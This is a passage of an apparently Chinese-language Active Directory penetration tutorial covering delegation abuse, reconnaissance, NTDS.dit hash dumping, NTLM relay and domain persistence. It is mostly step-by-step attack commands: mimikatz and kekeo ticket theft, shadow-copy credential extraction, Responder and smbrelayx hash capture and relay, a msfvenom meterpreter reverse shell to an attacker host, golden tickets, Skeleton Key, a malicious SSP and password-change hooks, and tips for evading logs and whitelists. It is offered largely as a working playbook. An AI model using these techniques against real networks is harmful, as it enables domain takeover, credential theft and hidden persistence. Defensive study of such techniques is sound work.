在Srv-Web-Kit上通过mimikatz可以导出Administrator发送过来的TGT内容。这里需要使用管理员权限打开mimikatz,然后通过privilege::debug命令提升权限,如果没有提升权限会报kuhl_m_sekurlsa_acquireLSA错误。再使用sekurlsa::tickets/export命令导出内存中所有的票据。 访问域控失败 通过 kerberos::ptt [0;a17510][email protected] 命令将TGT内容导入到当前会话中。 导入之后已经可以访问域控的共享目录。也就是说每当存在用户访问tsvc的服务时,tsvc的服务就会将访问者的TGT保存在内存中,可以通过这个TGT访问这个TGT所属用户的所有服务。 约束委派的利用假设已知配置了约束委派的账号,并且已知当前配置了约束委派的当前账户的密码。 确认账号sqladmin设置了约束委派。 使用kekeo对域控发起申请TGT的请求。通过已知的账户名和明文密码对KDC发起请求,得到TGT。 tgt::ask /user:sqladmin /domain:rootkit.org /password:Admin12345 /ticket:sqladmin.kirbi 使用kekeo申请TGS票据 tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa2013.rootkit.org 使用mimikatz将生成的TGS文件导入到Kerberos凭据列表中 这时可以看到导入之后已经能够成功访问域控的共享文件(严格来说应该是非约束委派中设置的SPN的权限)。而且在这个过程中是不需要管理员权限的,只是用当前账户的权限就可以完成,因为不需要从内存中导出票据。 非约束委派去获得所设置的SPN的权限主要是三个步骤 第1步,使用Kekeo发起AS-REQ请求去请求TGT。这时sqladmin获取到了一个TGT,并且kekeo工具将其保存为一个kirbi格式的文件。 第2步,再使用这个TGT申请两个ST文件,上文中说到过在约束委派实现的过程中分为两个部分,分别是S4U2Self扩展和S4U2Proxy扩展。S4U2Self中Service1会代替用户向KDC申请一张用于访问自身的TGS,这个TGS也就是生成的两个TGS中的一个([email protected]@[email protected])还有一个TGS是用于访问非受限委派中设置的SPN的TGS([email protected]@[email protected])。 关于约束委派的这种攻击方式就是通过在Service1(sqladmin)中将自己伪造成用户,然后获取允许约束委派的SPN的TGS的一个过程。 委派攻击的防御通过上文中说到设置了非约束委派的账户权限如果被窃取那么攻击者可能获取非常多其他账户的TGT,所以最好是不要在域中使用非约束委派这种功能。 域中不需要使用委派的账户特别是administrator账户,设置为“敏感用户不能被委派”。 0X05 域渗透-域内信息收集1.常用收集域信息命令Net use Net view Tasklist /v Ipconfig /all net group /domain 获得所有域用户组列表 net group “domain admins” /domain 获得域管理员列表 net group “enterprise admins” /domain 获得企业管理员列表 net localgroup administrators /domain 获取域内置administrators组用户(enterprise admins、domain admins) net group “domain controllers” /domain 获得域控制器列表 net group “domain computers” /domain 获得所有域成员计算机列表 net user /domain 获得所有域用户列表 net user someuser /domain 获得指定账户someuser的详细信息 net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息 nltest /domain_trusts 获取域信任信息 2.SPN扫描不同于常规的tcp/udp端口扫描,由于spn本质就是正常的Kerberos请求,所以扫描是非常隐蔽,日前针对此类扫描的检测暂时也比较少。 大部分win系统默认已自带spn探测工具即:setspn.exe 此操作无需管理权限 域内机器执行 setspn -T target.com -Q */* 可完整查出当前域内所有spn。 Checking domain DC=rootkit,DC=org CN=OWA2013,OU=Domain Controllers,DC=rootkit,DC=org IMAP/OWA2013 IMAP/OWA2013.rootkit.org IMAP4/OWA2013 IMAP4/OWA2013.rootkit.org POP/OWA2013 POP/OWA2013.rootkit.org POP3/OWA2013 POP3/OWA2013.rootkit.org exchangeRFR/OWA2013 exchangeRFR/OWA2013.rootkit.org exchangeMDB/OWA2013 exchangeMDB/OWA2013.rootkit.org SMTP/OWA2013 SMTP/OWA2013.rootkit.org SmtpSvc/OWA2013 SmtpSvc/OWA2013.rootkit.org exchangeAB/OWA2013 exchangeAB/OWA2013.rootkit.org Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/OWA2013.rootkit.org ldap/OWA2013.rootkit.org/ForestDnsZones.rootkit.org ldap/OWA2013.rootkit.org/DomainDnsZones.rootkit.org TERMSRV/OWA2013 TERMSRV/OWA2013.rootkit.org DNS/OWA2013.rootkit.org GC/OWA2013.rootkit.org/rootkit.org RestrictedKrbHost/OWA2013.rootkit.org RestrictedKrbHost/OWA2013 RPC/58650e64-9681-4c62-b26e-7914b9041f72._msdcs.rootkit.org HOST/OWA2013/ROOTKIT HOST/OWA2013.rootkit.org/ROOTKIT HOST/OWA2013 HOST/OWA2013.rootkit.org HOST/OWA2013.rootkit.org/rootkit.org E3514235-4B06-11D1-AB04-00C04FC2DCD2/58650e64-9681-4c62-b26e-7914b9041f72/rootkit.org ldap/OWA2013/ROOTKIT ldap/58650e64-9681-4c62-b26e-7914b9041f72._msdcs.rootkit.org ldap/OWA2013.rootkit.org/ROOTKIT ldap/OWA2013 ldap/OWA2013.rootkit.org ldap/OWA2013.rootkit.org/rootkit.org CN=krbtgt,CN=Users,DC=rootkit,DC=org kadmin/changepw CN=dbadmin,OU=运维部,DC=rootkit,DC=org MSSQLSvc/Srv-Web-Kit.rootkit.org:1433 MSSQLSvc/Srv-Web-Kit.rootkit.org CN=SRV-WEB-KIT,CN=Computers,DC=rootkit,DC=org TERMSRV/SRV-WEB-KIT TERMSRV/Srv-Web-Kit.rootkit.org WSMAN/Srv-Web-Kit WSMAN/Srv-Web-Kit.rootkit.org RestrictedKrbHost/SRV-WEB-KIT HOST/SRV-WEB-KIT RestrictedKrbHost/Srv-Web-Kit.rootkit.org HOST/Srv-Web-Kit.rootkit.org CN=PC-JERRY-KIT,CN=Computers,DC=rootkit,DC=org RestrictedKrbHost/PC-JERRY-KIT HOST/PC-JERRY-KIT RestrictedKrbHost/PC-jerry-Kit.rootkit.org HOST/PC-jerry-Kit.rootkit.org CN=PC-MICLE-KIT,CN=Computers,DC=rootkit,DC=org RestrictedKrbHost/PC-MICLE-KIT HOST/PC-MICLE-KIT RestrictedKrbHost/PC-micle-Kit.rootkit.org HOST/PC-micle-Kit.rootkit.org CN=PC-TORNDO-KIT,CN=Computers,DC=rootkit,DC=org HOST/PC-TORNDO-KIT HOST/pc-torndo-Kit.rootkit.org CN=sqladmin,OU=运维部,DC=rootkit,DC=org variant/golden Existing SPN found! 3.定位域控查询dns解析记录若当前主机的dns为域内dns,可通过查询dns解析记录定位域控。 nslookup -type=all _ldap._tcp.dc._msdcs.rootkit.org SPN扫描在SPN扫描结果中可以通过CN=OWA2013,OU=Domain Controllers,DC=rootkit,DC=org来进行域控的定位。 net groupnet group "domain controllers" /domain 端口识别扫描内网中同时开放389和53端口的机器。 端口:389 服务:LDAP、ILS 说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。 端口:53 服务:Domain Name Server(DNS) 说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用的最为广泛。通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。 域内关键组比如在拿到域控后可以通过重点关注关键部门人员的机器来得到更多的信息。 以上图为例,我们可以重点关注和监控运维部的用户机器,通常他们的机器上存在大量内网网络拓扑和网络构架信息或者是一些重要的密码本。 AdFindC++实现(未开源),用于查询域内信息 http://www.joeware.net/freetools/tools/adfind/index.htm 常用命令如下: 列出域控制器名称: AdFind -sc dclist 查询当前域中在线的计算机: AdFind -sc computers_active 查询当前域中在线的计算机(只显示名称和操作系统): AdFind -sc computers_active name operatingSystem 查询当前域中所有计算机: AdFind -f "objectcategory=computer" 查询当前域中所有计算机(只显示名称和操作系统): AdFind -f "objectcategory=computer" name operatingSystem 查询域内所有用户: AdFind -users name 查询所有GPO: AdFind -sc gpodmp 0X06 域渗透-获取NTDS.dit1.Ntds.ditNtds.dit是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。 2.Volume Shadow CopyVolume Shadow Copy Service 是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照)的服务框架。 用于数据备份支持Windows Server 2003 及以上操作系统系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backuphash数量:所有用户 免杀:不需要 优点: 获得信息全面 简单高效 无需下载ntds.dit,隐蔽性高 3.通过Volume Shadow Copy获得域控服务器NTDS.dit文件调用Volume Shadow Copy服务会产生日志文件,位于System下,Event ID为7036 执行ntdsutil snapshot "activate instance ntds" create quit quit会额外产生Event ID为98的日志文件 ntdsutil域环境默认安装 支持系统: Server 2003Server 2008Server 2012利用过程查询当前系统的快照ntdsutil snapshot "List All" quit quit ntdsutil snapshot "List Mounted" quit quit 创建快照ntdsutil snapshot "activate instance ntds" create quit quit guid为{78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa} 挂载快照ntdsutil snapshot "mount {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}" quit quit 快照挂载为C:\$SNAP_201908291617_VOLUMEC$\ 复制ntds.dit copy C:\$SNAP_201908291617_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit 卸载快照 ntdsutil snapshot "unmount {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}" quit quit 删除快照 ntdsutil snapshot "delete {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}" quit quit vssadmin域环境默认安装 支持系统: Server 2008Server 2012利用过程查询当前系统的快照 vssadmin list shadows 创建快照 vssadmin create shadow /for=c: 获得Shadow Copy Volume Name为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2 复制ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit 删除快照 vssadmin delete shadows /for=c: /quiet vshadow.exe系统默认不支持,,可在Microsoft Windows Software Development Kit (SDK)中获得该工具 利用过程查询当前系统的快照 vshadow.exe -q 创建快照 vshadow.exe -p -nw C: 获得SnapshotSetID、SnapshotID以及Shadow copy device name。 复制ntds.dit copy Shadow copy device name\windows\NTDS\ntds.dit c:\ntds.dit 删除快照 vshadow -dx={SnapshotSetID} or vshadow -ds={SnapshotID} 利用vshadow执行命令参考资料: https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/ 执行命令: vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c: 执行后,后台存在进程VSSVC.exe,同时显示服务Volume Shadow Copy正在运行,需要手动关闭进程VSSVC.exe 注: 手动关闭进程VSSVC.exe会生成日志7034 利用思路: vshadow.exe包含微软签名,能绕过某些白名单的限制。如果作为启动项,Autoruns的默认启动列表不显示 4.通过NinjaCopy获得域控服务器NTDS.dit文件下载地址: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1 没有调用Volume Shadow Copy服务,所以不会产生日志文件7036 Import-Module .\invoke-NinjaCopy.ps1 Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit" QuarksPwDumpQuarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。 修复复制出来的数据库 esentutl /p /o ntds.dit 使用QuarksPwDump直接读取信息并将结果导出至文件 QuarksPwDump.exe --dump-hash-domain --output 0day.org.txt --ntds-file c:\ntds.dit secretsdump.py可以用impacket 套件中的 secretsdump.py 脚本去解密,速度有点忙。也可以用mimikatz解密,但是感觉还是QuarksPwDump比较快。 # secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL # secretsdump.exe -system system.hive -ntds ntds.dit LOCAL 0x07 域渗透-Relay1.相关概念NTLM hash 和 Net-NTLM hashNTLM hash是指Windows系统下Security Account Manager中保存的用户密码hash 该hash的生成方法: 将明文口令转换成十六进制的格式转换成Unicode格式,即在每个字节之后添加0x00对Unicode字符串作MD4加密,生成32位的十六进制数字串在渗透测试中,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash,通过Mimikatz读取lsass.exe进程能获得已登录用户的NTLM hash Net-NTLM hash是指网络环境下NTLM认证中的hash NTLM认证采用质询/应答(Challenge/Response)的消息交换模式,流程如下: 客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码hash服务器接收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。使用存储的登录用户密码hash加密Challenge,获得Challenge1客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功在以上流程中,登录用户的密码hash即NTLM hash,response中包含Net-NTLM hash 在NTLM认证中,NTLM响应分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge和加密算法 所以也就存在不同协议的Net-NTLM hash,即Net-NTLM v1 hash,Net-NTLM v2 hash 从攻击角度来看 可以利用NTLM哈希值进行“哈希传递”攻击无法利用Net-NTLM哈希值来进行“哈希传递”攻击NTLM和SMB的关系SMB的认证可以基于NTLM协议或者kerberos协议,前者使用了hash,后者使用了ticket,是构成SMB的PtH和PtT攻击的基础。 NTLM 并没有定义它所依赖的传输层协议。NTLM 消息的传输完全依赖于使用 NTLM 的上层协议来决定,可以是SMB,也可以是TCP,亦或HTTP。 跨协议的 NTLM-Relay前面说过,NTLM 的上层协议基本可以是任何协议(如果上层是基于UDP 的协议的话,可能会不一样),所以这引出了跨协议的 NTLM-Relay 技巧。无论 NTLM 的上层协议是什么,其携带的 NTLM 的三条消息都是 由 NTLM SSP 生成的,所以上层协议在 relay 的过程中,是可以被替换掉的。 比如从 http relay 至 smb,从 smb relay 至 ldap/mssql 等等。我们只需要将一个协议中的 NTLM 消息取出来,然后原样不动的地放入另一个协议,就完成了上层协议转换的过程。 SMB RELAYmitm Attacker通过不停的转换机器角色来同时欺骗Smb server和Client两端,可以拿着Client的凭据去访问Smb Server中的资源,如果这个凭据的用户权限在smb server中很大,大到可以随意操作smb server,此时凭据再一旦认证成功,随后再立即执行一段shellcode,那Smb server基本也就沦陷了。 2.利用条件SMB版本信息不同Windows版本所对应的Smb 版本,smb版本越高,内置的安全机制就越完善,利用难度也就越大,另外,它默认工作在tcp/udp的139和445端口上,属上层协议[偏应用层]。 Smb v1 主要用于xp/2003以下的系统中Smb v2.x 主要用于win vista/7/2008/2008r2Smb v3.x 主要用于win 8 / 8.1 / 2012 / 2012r2 /2016利用条件目标机器不能开启smb签名,否则利用无效,一般情况下,windows server会默认开启,而windows单机系统[win 7/8/8.1/10]默认都不会开。对一些打了ms08-068[KB957097]补丁的老系统[比如windows xp/2003以下的系统]利用也是无效的。检查是否开启smb签名nmap -Pn -sT -p 445 --open --script smb-security-mode,smb-os-discovery 192.168.0.106,192.168.0.108 3.利用方式Inveighpowershell编写,可供参考的地址: https://github.com/Kevin-Robertson/Inveigh Import-Module .\Inveigh.psd1 Invoke-Inveigh -consoleoutput Y 再使用另外一个主机去连接该服务器。 原主机上就可以捕获到net-ntlm v2 hash。 拿到net-ntlm v2 的hash以后,可以用hashcat进行爆破 Hashcat参数如下: hashcat -m 5600 net-ntlm hash /tmp/password.list -o found.txt --force 若已获取权限的主机上存在web服务,我们可以在网站里插一个带有unc路径的图片,它请求资源走的是smb[file://]。 <img src="\\192.168.3.68\test.jpg" 当有主机访问该主页是,我们也能在Inveigh捕获到该主机的net-ntlm v2 hash。 smb_relay在kali 192.168.22.128利用windows/smb/smb_relay模块进行攻击。 msf5 > use windows/smb/smb_relay msf5 exploit(windows/smb/smb_relay) > set smbhost 192.168.22.162 smbhost => 192.168.22.162 msf5 exploit(windows/smb/smb_relay) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(windows/smb/smb_relay) > set lhost 192.168.22.128 lhost => 192.168.22.128 msf5 exploit(windows/smb/smb_relay) > set lport 2333 lport => 2333 msf5 exploit(windows/smb/smb_relay) > show options Module options (exploit/windows/smb/smb_relay): Name Current Setting Required Description ---- --------------- -------- ----------- SHARE ADMIN$ yes The share to connect to SMBHOST 192.168.22.162 no The target SMB server (leave empty for originating system) SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 445 yes The local port to listen on. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.22.128 yes The listen address (an interface may be specified) LPORT 2333 yes The listen port Exploit target: Id Name -- ---- 0 Automatic 在192.168.22.130上执行 net use \\192.168.22.128\c$ /user:"administrator" "1qaz@wsx" 在kali上就可以看到回显了 回显里会删除exe文件,所以建议在配置时做好进程迁移 set AutoRunScript post/windows/manage/migrate smbrelayx.py在工具主机kali 192.168.22.128上执行 python smbrelayx.py -h 192.168.22.162 在内网主机192.168.22.130上执行 net use \\192.168.22.128\c$ /user:"administrator" "1qaz@wsx" 此时在主机kali 192.168.22.128上就能捕获到如下内容。 当目标内网有机器192.168.22.130访问到我们的恶意smb服务器192.168.22.128后,便会抓取对应机器的net-ntlm v2 hash,之后再通过smbrelayx.py脚本拿着这段抓到的hash去尝试重放192.168.22.162这台目标机器。一旦重放成功,便会把162这台机器的本地用户及密码hash全部解密导出来。 smbrelayx.py可以执行命令和上传木马文件。 python smbrelayx.py -h 192.168.22.162 -c whoami 结合msf上传exe木马。生成一个exe木马。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.22.128 LPORT=4444 -e x86/shikata_ga_nai -f exe -o test.exe 启用msfconsole中exploit/multi/handler msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.22.128 msf exploit(multi/handler) > set lport 4444 msf exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate msf exploit(multi/handler) > exploit -j [*] Exploit running as background job 1. [*] Started reverse TCP handler on 192.168.138.136:4444 执行 python smbrelayx.py -h 192.168.22.162 -e test.exe Responder自从MS08-068漏洞修复之后无法再将Net-NTLM哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。 Responder通过设置几个模拟的恶意守护进程(如SQL服务器,FTP,HTTP和SMB服务器等)来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash。 python Responder.py -I eth0 -v 对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录。所以在192.168.22.130上执行dir \\192.168.22.128\c$ 在192.168.22.128上就可以得到NTLMv2 Hash。 responder只有一个回显hash功能,可以结合ntlmrelayx.py和Empire框架进行进一步利用。再借助DeathStar,可以很轻易获取windows的域管理权限。 3.NTLM-RelayNTLM Relaying与Kerberos委派组合实现方法在目标计算机上创建一个新的计算机账号B,并为本地计算机账号A设置基于资源的约束委派给新建账号B,使得B可以模拟用户访问A的资源,便能通过S4U攻击(首先使用S4U2Self获取任意用户到新建计算机账号B的服务票据,再使用S4U2Proxy获取该用户到目标计算机A的服务票据),使用该计算机账号为域内任意用户请求访问该计算机任意服务的TGS服务票据,从而获得该计算机的SYSTEM权限。 利用过程使用mitm6选择目标计算机并回复DHCPv6请求,为其分配地址,回复WPAD配置文件地址 mitm6 -hw ws02 -d lab.local --ignore-nofqnd 设置目标LDAP服务器地址并创建WPAD配置文件,使用“–delegate-access”为目标创建计算机账号并配置基于资源的约束委派: 启动ntlmrelayx,指定域控制器,委派攻击,禁用SMB服务器并设置将生成并提供给目标的恶意WPAD文件的名称。 ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad 当目标计算机重启或重新进行网络配置(如重新插入网线)时, 将会向DHCPv6发送请求获取IPv6配置,我们已经使用mitm6接管DNS,此时目标计算机便会访问kali获取WPAD配置文件,并将kali设置为为代理服务器 。 然后当目标计算机通过kali代理服务器访问网络时,kali将会向目标计算机发送代理的认证请求,并中继NTLM认证到LDAP服务器上,完成相关操作。 上图中已经完成了计算机账号的创建,并为其设置了基于资源的约束委派。接下来,便可通过impacket中的getST脚本,使用新创建的计算机账号为域管理员(或具有本地管理员权限的域用户)请求访问到该计算机的CIFS服务票据: 导入 export KRB5CCNAME=lkys.ccache 然后就可以通过psexec.py远程执行命令了。 psexec.py -k ws02.lab.local -debug -no-pass 尝试复现上述过程,捣鼓了一天失败了。报的错是: [-] Connection against target ldaps://OWA2010SP3.0day.org FAILED: invalid server address [-] Exception in HTTP request handler: invalid server address [-] Exception in HTTP request handler: [Errno 104] Connecti LDAPS安装过程:https://gist.github.com/magnetikonline/0ccdabfec58eb1929c997d22e7341e45 上述原文地址:https://chryzsh.github.io/relaying-delegation/ 如有知道为什么的,请联系我谢谢~ 0x08 域渗透-域维权1.黄金票据简介Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。 制作金票的条件: 利用过程金票的生成需要用到krbtgt的密码HASH值,可以通过mimikatz中的 lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt 命令获取krbtgt的值。 得到KRBTGT HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即为伪造成功的TGT。 参数说明: kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi 通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中。 kerberos::purge kerberos::ppt golden.kiribi kerberos::list 此时就可以通过dir成功访问域控的共享文件夹。 dir \\OWA2010SP3.0day.org\c$ 2.SSP密码记录简介**SSP:**Security Support Provider,直译为安全支持提供者,又名Security Package. 简单的理解为SSP就是一个DLL,用来实现身份认证。 **SSPI:**Security Support Provider Interface,直译为安全支持提供程序接口,是Windows系统在执行认证操作所使用的API。 简单的理解为SSPI是SSP的API接口 **LSA:**Local Security Authority,用于身份认证,常见进程为lsass.exe 特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中. 这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程lsass.exe。 如图,这是正常的SSPI结构图,Client APP是我们自定义的dll,通过Secur32.dll可以调用 “credential capture API“来获取LSA的信息 上图展示了攻击思路,既然可以自定义dll,那么我们就可以定制dll的功能,通过Named Pipe和Shared Memory直接获取lsass.exe中的明文密码,并且能够在其更改密码时立即获得新密码。 mimilib SSPmimikatz早已支持这个功能,而这个文件就是我们使用的时候常常忽略的mimilib.dll 利用过程方法一添加SSP 将mimilib.dll复制到域控c:\windows\system32下 设置SSP 修改域控注册表位置: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\ 3.重启系统 域控重启后在c:\windows\system32可看到新生成的文件kiwissp.log 方法二:使用API AddSecurityPackage(1)复制文件 同方法1 (2)修改注册表 同方法1 (3)调用AddSecurityPackage 测试代码如下: #define SECURITY_WIN32 #include <stdio.h> #include <Windows.h> #include <Security.h> #pragma comment(lib,"Secur32.lib") int main(int argc, char **argv) { SECURITY_PACKAGE_OPTIONS option; option.Size = sizeof(option); option.Flags = 0; option.Type = SECPKG_OPTIONS_TYPE_LSA; option.SignatureSize = 0; option.Signature = NULL; SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA("mimilib", &option); printf("AddSecurityPackage return with 0x%X\n", SEC_ENTRYnRet); } 添加成功,如果此时输入了新的凭据(例如runas,或者用户锁屏后重新登录),将会生成文件kiwissp.log 方法2的自动化实现: https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/persistence/Install-SSP.ps1 方法3:使用RPC控制lsass加载SSPXPN开源的代码: https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e 测试如下图 添加成功 优点: 不需要写注册表不调用API AddSecurityPackage不需要对lsass进程的内存进行写操作lasss进程中不存在加载的dllMemory Updating of SSPsmimikatz同时还支持通过内存更新ssp,这样就不需要重启再获取账户信息 需要使用mimikatz.exe,命令如下: privilege::debug misc::memssp 通过修改lsass进程的内存,实现从lsass进程中提取凭据 命令执行后,如果此时输入了新的凭据(例如runas,或者用户锁屏后重新登录),将会在c:\windows\system32下生成文件mimilsa.log 3.Skeleton KeySkeleton Key是一种不需要域控重启即能生效的维持域控权限方法。 简介 利用过程在域控安装Skeleton Keymimikatz命令: privilege::debug misc::skeleton 域内主机使用Skeleton Key登录域控mimikatz的默认Skeleton Key设置为mimikatz net use \\OWA2010SP3.0day.org mimikatz /user:[email protected] dir \\OWA2010SP3.0day.org\c$ Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限 绕过LSA Protection配置LSA Protection 注册表位置: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 新建-DWORD值,名称为RunAsPPL,数值为00000001 重启系统 使用mimidrv.sys绕过 mimikatz命令: privilege::debug !+ !processprotect /process:lsass.exe /remove misc::skeleton 绕过cmd、regedit、taskmgr privilege::debug misc::cmd misc::regedit misc::taskmgr Hook PasswordChangeNotify简介Hook PasswordChangeNotify这个概念最早是在2013年9月15日由clymb3r提出,通过Hook PasswordChangeNotify拦截修改的帐户密码。 需要了解的相关背景知识如下: 在修改域控密码时会进行如下同步操作: a. 当修改域控密码时,LSA首先调用PasswordFileter来判断新密码是否符合密码复杂度要求 b. 如果符合,LSA接着调用PasswordChangeNotify在系统上同步更新密码 函数PasswordChangeNotify存在于rassfm.dllrassfm.dll可理解为Remote Access Subauthentication dll,只存在于在Server系统下,xp、win7、win8等均不存在Hook PasswordChangeNotify有如下优点: 不需要重启不需要修改注册表甚至不需要在系统放置dll利用过程实现Hook PasswordChangeNotify共包含两部分:Hook dll和dll注入。 https://github.com/3gstudent/Hook-PasswordChangeNotify 编译工程,生成HookPasswordChange.dll MFC设置为在静态库中使用MFC 上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll到域控主机 管理员权限执行: PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1 手动修改域控密码后 在C:\Windows\Temp下可以找到passwords.txt,其中记录了新修改的密码。 自定义dll代码实现更多高级功能,如自动上传新密码。 以下链接中的代码可作为参考,其中实现了将获取的新密码上传至Http服务器 http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html 4.DSRM同步指定域用户DSRM密码同步Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。 利用如下命令: C:\Users\Administrator>ntdsutil ntdsutil: set DSRM password Reset DSRM Administrator Password: SYNC FROM DOMAIN ACCOUNT test Password has been synchronized successfully. 同步之后使用mimikatz查看test用户和SAM中Administrator的NTLM值。如下图所示,可以看到两个账户的NTLM值相同,说明确实同步成功了。 privilege::debug lsadump::lsa /name:test /inject privilege::debug token::elevate lsadump::sam 修改注册表允许DSRM账户远程访问修改注册表 HKLM\System\CurrentControlSet\Control\Lsa 路径下的 DSRMAdminLogonBehavior 的值为2。 PS:系统默认不存在DSRMAdminLogonBehavior,手动添加。 DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。另外,在下一次进行DSRM密码同步之前,NTLM的值一直有效。所以为了保证权限的持久化,尤其在跨国域或上百上千个域的大型内网中,最好在事件查看器的安全事件中筛选事件ID为4794的事件日志,来判断域管是否经常进行DSRM密码同步操作。 5.SID historySID历史记录是支持迁移方案的属性。每个用户帐户都有一个关联的安全标识符(SID),用于跟踪安全主体和连接到资源时的帐户及访问权限。SID历史记录允许另一个帐户的访问被有效的克隆到另一个帐户。这是非常有用的,其目的是确保用户在从一个域移动(迁移)到另一个域时能保留原有的访问权限。由于在创建新帐户时用户的SID会发生更改,旧的SID需要映射到新的帐户。当域A中的用户迁移到域B时,将在DomainB中创建新的用户帐户,并将DomainA用户的SID添加到DomainB的用户帐户的SID历史记录属性中。这样就可以确保DomainB用户仍可以访问DomainA中的资源。 Mimikatz支持SID历史注入到任何用户帐户(需要域管理员或等效的权限)。在这种情况下,攻击者创建用户帐户“test”,并将该域的默认管理员帐户“Administrator”(RID 500)添加到帐户的SID历史记录属性中。 privilege::debug sid::add /new:[DomainAdmin's SID or NAME] /sam:[CommonUserNAME] 当test登录时,将对与该帐户相关联的SID进行评估,并根据这些SID来确定访问权限。由于test帐户与Administrator帐户(RID 500)相关联,因此,test帐户具有Administrator帐户的所有访问权限,包括域管理员权限。 6.GPO[组策略]后门利用SYSVOL还原组策略中保存的密码使用Group Policy Preferences配置组策略批量修改用户本地管理员密码。 开始-管理工具-组策略管理 选择域,创建GP0 设置名称为test test-设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组 更新,administrator(内置),设置密码 委派,设置权限 在详细一栏,可看到该策略对应的ID为{05F24259-49D8-481A-8408-567DC3155838} 组策略配置完成,域内主机重新登录,即可应用此策略 在对应的文件夹下能找到配置文件Groups.xml,具体路径如下: \\0day.org\SYSVOL\0day.org\Policies\{05F24259-49D8-481A-8408-567DC3155838}\User\Preferences\Groups Groups.xml内容如下: <?xml version="1.0" encoding="utf-8"?> <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (内置)" image="2" changed="2019-09-11 08:29:51" 